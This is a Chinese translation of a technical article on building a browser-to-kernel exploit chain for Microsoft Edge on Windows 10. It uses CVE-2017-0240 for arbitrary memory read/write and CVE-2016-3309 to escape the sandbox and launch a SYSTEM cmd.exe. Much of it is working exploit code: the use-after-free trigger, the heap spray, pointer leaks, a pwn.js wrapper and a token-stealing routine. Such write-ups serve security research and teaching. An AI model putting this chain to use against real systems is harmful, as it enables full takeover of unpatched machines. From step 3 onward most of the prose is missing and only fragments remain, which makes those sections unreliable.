Windows 10上从CVE到RCE的Microsoft Edge

前言


在本文的框架中,我们将充分详细地考虑为Microsoft Edge中的漏洞编写漏洞利用程序的过程,以及随后从沙盒退出的过程。 如果您有兴趣知道此过程的外观,欢迎光临!


引言


在蒙特利尔最新的Pwn2Own 2019中,在浏览器类别中,展示了一种用于入侵Microsoft Edge的漏洞。 为此使用了两个漏洞:渲染器中的double free和退出沙箱的逻辑漏洞。 这两个漏洞最近已关闭,并分配了相应的CVECVE-2019-0940CVE-2019-0938 。 您可以在博客中了解有关漏洞的更多信息: Pwn2Own 2019:Microsoft Edge Renderer Exploitation(CVE-2019-0940)。 第1部分Pwn2Own 2019:Microsoft Eedge Sandbox Escape(CVE-2019-0938)。 第二部分


作为本文的一部分,我们要使用CVE-2017-0240CVE-2016-3309Windows 10上的Microsoft Edge为例,演示编写这种利用程序的过程以及为此需要多少时间和资源。 差异之一是,如果在Pwn2Own演示的漏洞利用逻辑漏洞退出沙箱,则在我们的方案中, Windows 10内核中的漏洞将用于退出沙箱。 正如Microsoft补丁所示,内核中的漏洞比沙盒实现中的漏洞要多得多。 结果,这样的漏洞链更有可能遇到,并且对于公司中的IS员工来说很有用。


源数据


本文将介绍为Microsoft Edge浏览器编写1天漏洞利用的过程。 CVE-2017-0240将被运行。 操作的第一阶段将基于源代码中的资料[1],我们将获得arbitrary address read/write原语,并且熟悉各种技术,这些技术在利用此类漏洞时可能会很有用。 接下来,我们将向您介绍pwn.js工具,该工具将帮助您基于任意读写来调用任意函数,还将考虑各种mitigations和绕过它们的方法。 在最后阶段,将利用Windows CVE-2016-3309内核漏洞来增加特权,绕过AppContainer限制并获得对受攻击计算机的完全控制。


将在带Microsoft Windows 10 Pro 1703 (10.0.15063)Microsoft Edge (40.15063.0.0)浏览器Microsoft Edge (40.15063.0.0)


步骤1.获得arbitrary address read/write原语


漏洞描述和获取OOB


音频缓冲区对象的copyFromChannel方法中存在一个类型use-after-free漏洞。


AudioBuffer是位于内存中的简短音频资产的接口,可以使用AudioContext.decodeAudioData()方法从音频文件创建,也可以使用AudioContext.createBuffer()方法从源数据创建。 放置在AudioBuffer中的音频数据可以在AudioBufferSourceNode中播放。

The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10演示文稿提供了对该漏洞和补丁的详细分析。 copyFromChannel方法时,音频缓冲区通道的内容将复制到第一个参数指定的destination缓冲区。 该方法还接受通道号( channelNumber )和音频缓冲区中的偏移量( startInChannel ),从该位置开始必须进行复制。 在将数据直接复制到CDOMAudioBuffer::Var_copyFromChannel函数中的destination CDOMAudioBuffer::Var_copyFromChannel ,将缓存destination缓冲区(缓冲区的地址和大小存储在堆栈上的本地函数变量中),并将channelNumberstartInChannel对象的值startInChannelInt类型,为此调用转换后的对象的valueOf方法。 该漏洞是在类型转换时可以使用valueOf对象的重写方法释放缓存的缓冲区。 为了进行验证,我们使用以下代码:


 // ,     var t2 = new Float32Array(0x20000); var ta = new Uint8Array(t2.buffer); for (i=0;i<t2.length;i++) t2[i] = 0x66; var myctx = new AudioContext(); var audioBuf = myctx.createBuffer(1, 0x25, 22050); //   -   var t = audioBuf.getChannelData(0); var ta2 = new Uint8Array(t.buffer); for(i=0;i<ta2.length;i++) ta2[i]=0x55; //     valueOf var obj = { valueOf: function () { //   var worker = new Worker('worker.js'); worker.postMessage(0, [t2.buffer]); worker.terminate(); worker = null; //    sleep(1000); return 0; } }; //   audioBuf.copyFromChannel(t2, obj, 0); 

此代码使用Web Workers技术释放缓冲区。 创建一个空的Worker ,我们可以使用postMessage方法向他发送消息。 此方法的第二个可选transfer参数接受一个Transferable对象数组( ArrayBufferMessagePostImageBitmap ),该对象的权限将被转移给Worker并且该对象在当前上下文中将不再可用,因此可以将其删除。 此后,将进入sleep -暂时停止执行程序的功能(独立实现)。 这是必需的,以便垃圾收集系统( GCGarbage Collector )设法释放缓冲区,将权利转让给该缓冲区。


Web Workers提供了一种在后台线程中运行脚本的简单方法。 辅助线程可以执行任务而不会干扰用户界面。 另外,他们可以使用XMLHttpRequest进行I / O(尽管responseXML和channel属性将始终为null)。 现有的Worker可以通过此代码指定的事件处理程序将JavaScript消息发送给创建者代码(反之亦然)。

通过在调试器下的Edge中运行此代码,可以获得以下崩溃。


步骤01崩溃


结果,对copyFromChannel的调用尝试将音频缓冲区的内容复制到未分配的存储区中。 要利用此漏洞,必须在此内存区域中实现任何对象的分配。 在这种情况下,数组段是完美的。


ChakraEdge浏览器中使用的JS引擎)中的数组安排如下:数组对象具有固定的大小,指向数组对象的指针(对于IntArrayIntArray )存储在单独的内存区域中-段,对象中包含指向该对象的指针数组。 段头包含各种信息,包括段的大小,它对应于数组的大小。 数组的大小也存在于数组对象本身中。 从示意图上看,它看起来像这样:


片断结构


因此,如果我们设法在先前释放的空间中选择数组段,则可以用音频缓冲区的内容覆盖数组段的头。 为此,我们在sleep(1000);之后添加以下几行来修改上面的代码sleep(1000);


 ... /*        ,    .   arr        */ arr = new Array(128); for(var i = 0; i < arr.length; i++) { arr[i] = new Array(0x3ff0); for(var j = 0; j < arr[i].length; j++) arr[i][j] = 0x30303030; } ... 

选择数组的大小以使数组段的大小占据整个堆段(最小的不可分割的堆内存,其大小为0x10000字节)。 运行此代码,将memcpy函数指定为断点(将会有许多memcpy调用,因此首先在edgehtml!WebCore::AudioBufferData::copyBufferData处停止是有意义的),在此发生崩溃。 我们得到以下结果:


步骤02


太好了! 现在我们可以用我们自己的值覆盖数组段的标题。 在这种情况下,最有趣的值是数组的大小,我们可以在上面的屏幕截图中看到其偏移量。 更改音频缓冲区的内容,如下所示:


 ... var t = audioBuf.getChannelData(0); var ta2 = new Uint32Array(t.buffer); ta2[0] = 0; ta2[1] = 0; ta2[2] = 0xffe0; ta2[3] = 0; ta2[4] = 0; ta2[5] = 0; ta2[6] = 0xfba6; ta2[7] = 0; ta2[8] = 0; ta2[9] = 0x7fffffff - 2; ta2[10] = 0x7fffffff; ta2[11] = 0; ta2[12] = 0; ta2[13] = 0; ta2[14] = 0x40404040; ta2[15] = 0x50505050; ... 

注意ta2[14]ta2[15] -它们已经不是引用段头,而是引用数组值本身。 这样,我们可以确定全局arr数组中所需的数组,如下所示:


 ... for(var i = 0; i < arr.length; i++) { if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050) { alert('Target array idx: ' + i); target_idx = i; target_arr = arr[i]; break; } } 

如果结果是找到一个数组,并且其前两个元素以某种方式更改,那么一切都很好。 现在,我们有了一个数组,其段大小大于实际大小。 剩余的阵列可以释放。


这里有必要记住,数组的大小存在于两个实体中:在数组对象中保持不变,而在数组段中增加数组。 事实证明,如果代码在JIT模式下执行并且已经过优化,则忽略数组对象中的大小。 这很容易实现,例如,如下所示:


 function arr_get(idx) { return target_arr[idx]; } function arr_set(idx, val) { target_arr[idx] = val; } for(var i = 0; i < 0x3ff0; i++) { arr_set(i, arr_get(i)); } 

之后,使用arr_getarr_set您可以超越数组的边界( OOBout-of-bound )。


使用OOB获取读取和写入任意地址的原语


在本节中,我们考虑一种允许您使用OOB读写任意地址的技术。 我们获得此结果的方法将类似于源代码[1]中使用的方法,但也将发生重大变化。


在使用的Edge版本中Edge堆的内存块是按顺序分配的,因此,当分配大量任何对象时,它们迟早会在数组段之后,我们可以超越它。


首先,它使我们能够读取指向对象方法虚拟表的指针( vftable ),以便我们可以绕过进程地址空间( ASLR )的随机化。 但是访问哪些对象将帮助我们实现任意读写? 几个DataView对象对此非常DataView


DataView提供了一个低级接口,用于在二进制ArrayBuffer中读取和写入多个数字类型,而与平台字节顺序无关。

DataView的内部结构包含一个指向缓冲区的指针。 例如,要读取和写入任意地址,我们可以构建两个DataView链( dv1dv2 ),如下所示:作为dv1缓冲区dv1通过访问数组指定地址dv2 。 现在使用dv1我们可以更改dv2缓冲区的地址,因此可以实现任意读写。 可以用以下方式表示:


任意地址读/写


要使用此方法,您需要学习如何确定内存中对象的地址。 为此,存在以下技术:您需要创建一个新的Array ,使用OOB保存其typeIdtypeId (结构的前两个64位字段),然后将地址感兴趣的对象分配给该数组的第一个元素。 然后,您必须还原先前保存的typeIdtypeId 。 现在,可以通过引用数组的第一个和第二个元素来获得对象地址的初级和高级双字。 事实是,默认情况下,新数组为IntArray ,并且该数组的4字节值按原样存储在其段中。 在将对象分配给数组时,该数组将转换为ObjectArray ,其段用于存储对象的地址。 转换更改了typeIdtypeId 。 因此,如果我们通过该数组的元素恢复原始值typeIdtypeId ,则可以直接访问该段。 示意性描述的过程可以表示如下:


指针泄漏


获取地址的函数将如下所示:


 function addressOf(obj) { var hdr_backup = new Array(4); //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) hdr_backup[i] = arr_get(intarr_idx + i); intarr_object[0] = obj; //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) arr_set(intarr_idx + i, hdr_backup[i]); //         return [intarr_object[0], intarr_object[1]]; } 

一个尚待解决的问题仍然是必要对象的创建以及使用OOB进行搜索。 如前所述,当分配大量对象时,它们迟早会在数组段之后脱颖而出,我们可以超越它们。 要找到必要的对象,您只需要遍历数组外部的索引以寻找必要的对象。 因为 所有相同类型的对象都位于堆的一个段中,您可以优化搜索并以0x10000增量遍历堆的各个段,并仅检查堆每个段开头的前几个值。 为了识别对象,可以为某些参数为其设置唯一值(例如,对于DataView可以为byteOffset ),或者使用对象结构中的已知常量(例如,在使用的Edge中的IntArray版本中,值0x10005始终位于0x18 )。


通过结合以上所有技术,您可以对任意地址进行读写。 下面是读取DataView内存对象的屏幕截图。


内存泄漏


步骤2.执行任意API函数


在此阶段,我们能够在显示Edge内容的过程中读写任意地址。 考虑应该干扰应用程序进一步操作的主要技术及其解决方法。 我们已经写了几篇简短的文章系列,介绍了 app specific security mitigation第1部分,简介第2部分,Internet Explorer和Edge第3部分,Google Chrome ),但是请记住,开发人员不会停滞不前并向其产品添加新工具保护。


地址空间随机化( ASLR


ASLR(英语地址空间布局随机化)是一种在操作系统中使用的技术,它会随机更改进程地址空间中重要数据结构的位置,即:可执行文件映像,已加载的库,堆和堆栈。

上面,我们学会了读取虚拟类表的地址,使用它们,我们可以轻松地计算Chakra.dll模块的基地址,因此ASLR不会出现进一步操作的问题。


数据执行保护( DEPNX


数据执行保护(DEP)是Linux,Mac OS X,Android和Windows内置的一项安全功能,可防止应用程序从标记为“仅数据”的内存区域执行代码。 它将防止某些攻击,例如,使用缓冲区溢出将代码保存在此类区域中。

解决此问题的一种方法是使用ROP链调用VirtualAlloc 。 但是在Edge的情况下,由于使用ACG Edge此方法将不起作用(请参见下文)。


控制流防护( CFG


CFG是一种保护机制,旨在使利用用户和内核模式应用程序中的二进制漏洞的过程变得复杂。 该机制的工作在于验证间接调用,从而防止攻击者拦截执行线程(例如,通过覆盖虚拟函数表)。

该技术仅控制间接调用,例如,来自对象函数虚拟表的方法调用。 堆栈上的返回地址不受控制,可用于构建ROP链。 Intel新技术: Control-flow Enforcement TechnologyCET )可能会阻碍ROP/JOP/COP链的未来使用。 该技术包括两个部分:


  1. Shadow Stack (影子堆栈)-用于控制返回地址并防止ROP链;
  2. Indirect Branch Tracking是一种防范JOP/COP链的方法。 这是一条新的ENDBRANCH指令,它标记了calljmp指令的所有有效转换地址。

任意代码保护( ACG


ACG是一种防止动态代码生成(禁止使用VirtaulAlloc分配内存的rwx区域)及其修改(无法将现有内存区域VirtaulAlloc为可执行文件)的技术。

CFG一样,这种保护不会阻止ROP链的使用。


AppContainer隔离


AppContainer是一项Microsoft技术,可让您通过在沙盒环境中运行该进程来隔离该进程。 该技术将进程的访问限制在凭据,设备,文件系统,网络,其他进程和窗口中,旨在最大程度地降低恶意软件的能力,该恶意软件具有在进程中执行任意代码的能力。

这种保护极大地使操作过程复杂化。 因此,我们无法调用第三方可执行文件或访问内存或磁盘中的敏感用户信息。 但是,可以通过在AppContainer沙箱的实现中使用漏洞或通过利用OS内核中的漏洞来增加特权来克服这种保护。


值得注意的是, Microsoft有单独的奖励计划 ,用于规避security mitigation技术的技术。 该程序表明重用可执行代码(构建ROP链是该技术的一种变体)不属于该程序的范围,因为 是一个架构问题。


使用pwn.js


从对所有安全技术的分析来看,为了能够执行任意代码,您需要绕过AppContainer沙箱。 在本文中,我们描述了一种使用Windows内核中的漏洞的方法。 在这种情况下,我们只能使用JS代码和ROP链。 仅使用ROP链为内核编写漏洞利用程序可能非常困难。 为了简化此任务,您可以找到一组小工具,用它们我们可以调用必要的WinAPI方法。 幸运的是,这已经在pwn.js库中实现了。 使用它,仅描述了用于任意读写的write功能,您可以获得一个便捷的API用于查找必要的WinAPI函数并对其进行调用。 pwn.js还提供了用于处理64位值和指针的便捷工具,以及用于处理结构的工具。


考虑一个简单的例子。 在上一步中,我们获得了两个相关的DataView链。 要准备利用,必须创建以下类:


 var Exploit = (function() { var ChakraExploit = pwnjs.ChakraExploit; var Integer = pwnjs.Integer; function Exploit() { ChakraExploit.call(this); ... //  arbitrary address read/write    ... // DataView,         this.dv = ...; // DataView,     this.dv this.dv_offset = ...; //    Chakra.dll, ,     var vtable = ...; this.initChakra(vtable); } Exploit.prototype = Object.create(ChakraExploit.prototype); Exploit.prototype.constructor = Exploit; Exploit.prototype.set_dv_address = function(lo, hi) { this.dv_offset.setInt32(0x38, lo, true); this.dv_offset.setInt32(0x3c, hi, true); } Exploit.prototype.read = function (address, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: return new Integer(this.dv.getInt8(0, true), 0, true); case 16: return new Integer(this.dv.getInt16(0, true), 0, true); case 32: return new Integer(this.dv.getInt32(0, true), 0, true); case 64: return new Integer(this.dv.getInt32(0, true), this.dv.getInt32(4, true), true); } } Exploit.prototype.write = function (address, value, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: this.dv.setInt8(0, value.low, true); break; case 16: this.dv.setInt16(0, value.low, true); break; case 32: this.dv.setInt32(0, value.low, true); break; case 64: this.dv.setInt32(0, value.low, true); this.dv.setInt32(4, value.high, true); break; } } return Exploit; })(); 

, MessageBoxA :


 function run() { with (new Exploit()) { //alert('Chakra: ' + chakraBase.toString(16)); var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32); var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64); var hwnd = GetActiveWindow(); var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0); } } 

:


铺好的


3.


WinAPI . . CVE-2016-3309 . [7] [8], pwn.js [2] , GDI -. [9], [10] [11]. . , . , AppContainer , pwn.js . cmd.exe SYSTEM .


GDI — Windows , , .

, . JS - 64- kernel_read_64 kernel_write_64 , . Windows. BITMAP , . pwn.js . BITMAP , , :


 var BITMAP = new StructType([ ['poolHeader', new ArrayType(Uint32, 4)], // BASEOBJECT64 ['hHmgr', Uint64], ['ulShareCount', Uint32], ['cExclusiveLock', Uint16], ['BaseFlags', Uint16], ['Tid', Uint64], ['dhsurf', Uint64], ['hsurf', Uint64], ['dhpdev', Uint64], ['hdev', Uint64], ['sizlBitmap', SIZEL], ['cjBits', Uint32], ['pvBits', Uint64], ['pvScan0', Uint64], ]); 

Tid KTHREAD , , , EmpCheckErrataList , . , :


 ... var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8); var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr); /* g_config   ,         empCheckErrataList  WinDbg        : ? nt!EmpCheckErrataList - nt */ var ntoskrnl_base_address = nt_EmpCheckErrataList.sub( g_config.nt_empCheckErrataList_offset); ... 

, AppContainer . AppContainer IsPackagedProcess ( Process Environment Block , PEB ), . Access Token , AppContainer . Access Token , . Access Token , . EPROCESS ActiveProcessLinks , . PEB EPROCESS . PsInitialSystemProcess , , ActiveProcessLinks .


Edge : , Edge . SYSTEM . , , winlogon.exe .


pwn.js :


 //  PEB   var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size)); var pinfo_sz = Uint64.Ptr.cast(malloc(8)); NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz); var peb = pinfo.PebBaseAddress; /*    IsPackagedProcess       peb   char * */ var bit_field = peb[3]; bit_field = bit_field.xor(1 << 4); peb[3] = bit_field; /*             WinDbg    .     : dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks           */ var ActiveProcessLinks = system_eprocess.add( g_config.ActiveProcessLinksOffset); var current_pid = GetCurrentProcessId(); var current_eprocess = null; var winlogon_pid = null; // winlogon.exe -  ,     cmd.exe var winlogon = new CString("winlogon.exe"); var image_name = malloc(16); var system_pid = kernel_read_64(system_eprocess.add( g_config.UniqueProcessIdOffset)); while(!current_eprocess || !winlogon_pid) { var eprocess = kernel_read_64(ActiveProcessLinks).sub( g_config.ActiveProcessLinksOffset); var pid = kernel_read_64(eprocess.add( g_config.UniqueProcessIdOffset)); //        //   Uint64.store( image_name.address, kernel_read_64(eprocess.add(g_config.ImageNameOffset)) ); Uint64.store( image_name.address.add(8), kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8)) ); //   winlogon.exe    if(_stricmp(winlogon, image_name).eq(0)) { winlogon_pid = pid; } if (current_pid.eq(pid)) { current_eprocess = eprocess; } //        ActiveProcessLinks = eprocess.add( g_config.ActiveProcessLinksOffset); } //     var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset)); //          //   winlogon.exe var pi = malloc(24); memset(pi, 0, 24); var si = malloc(104 + 8); memset(si, 0, 104 + 8); Uint32.store(si.address, new Integer(104 + 8)); var args = WString("cmd.exe"); var AttributeListSize = Uint64.Ptr.cast(malloc(8)); InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize); var lpAttributeList = malloc(AttributeListSize[0]); Uint64.store( si.address.add(104), lpAttributeList ); InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize) var winlogon_handle = Uint64.Ptr.cast(malloc(8)); //       kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token); /*        AppContainer,       winlogon.exe         winlogon.exe */ winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid); UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, winlogon_handle, 8, 0, 0); CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi); 

:


决赛


YouTube , Microsoft Edge.


总结


:


  • , Edge Windows , 13 , CVE-2017-0240 , . CVE-2016-3309 .
  • JS
  • 666 JS
  • : cmd.exe SYSTEM ,

, , . , , . .



  1. Liu Jin — The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10
  2. Andrew Wesie, Brian Pak — 1-Day Browser & Kernel
    Exploitation
  3. Natalie Silvanovich — The ECMA and the Chakra. Hunting bugs in the Microsoft Edge Script Engine
  4. Natalie Silvanovich — Your Chakra Is Not Aligned. Hunting bugs in the Microsoft Edge Script Engine
  5. phoenhex team — cve-2018-8629-chakra.js
  6. Quarkslab — Exploiting MS16-145: MS Edge TypedArray.sort Use-After-Free (CVE-2016-7288)
  7. Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects
  8. Siberas — Kernel Exploitation Case Study — "Wild" Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)
  9. Saif El-Sherei — Demystifying Windows Kernel Exploitation by Abusing GDI Objects
  10. Diego Juarez — Abusing GDI for ring0 exploit primitives
  11. Nicolas A. Economou — Abusing GDI for ring0 exploit
    primitives: Evolution
  12. pwn.js

Source: https://habr.com/ru/post/zh-CN455594/


All Articles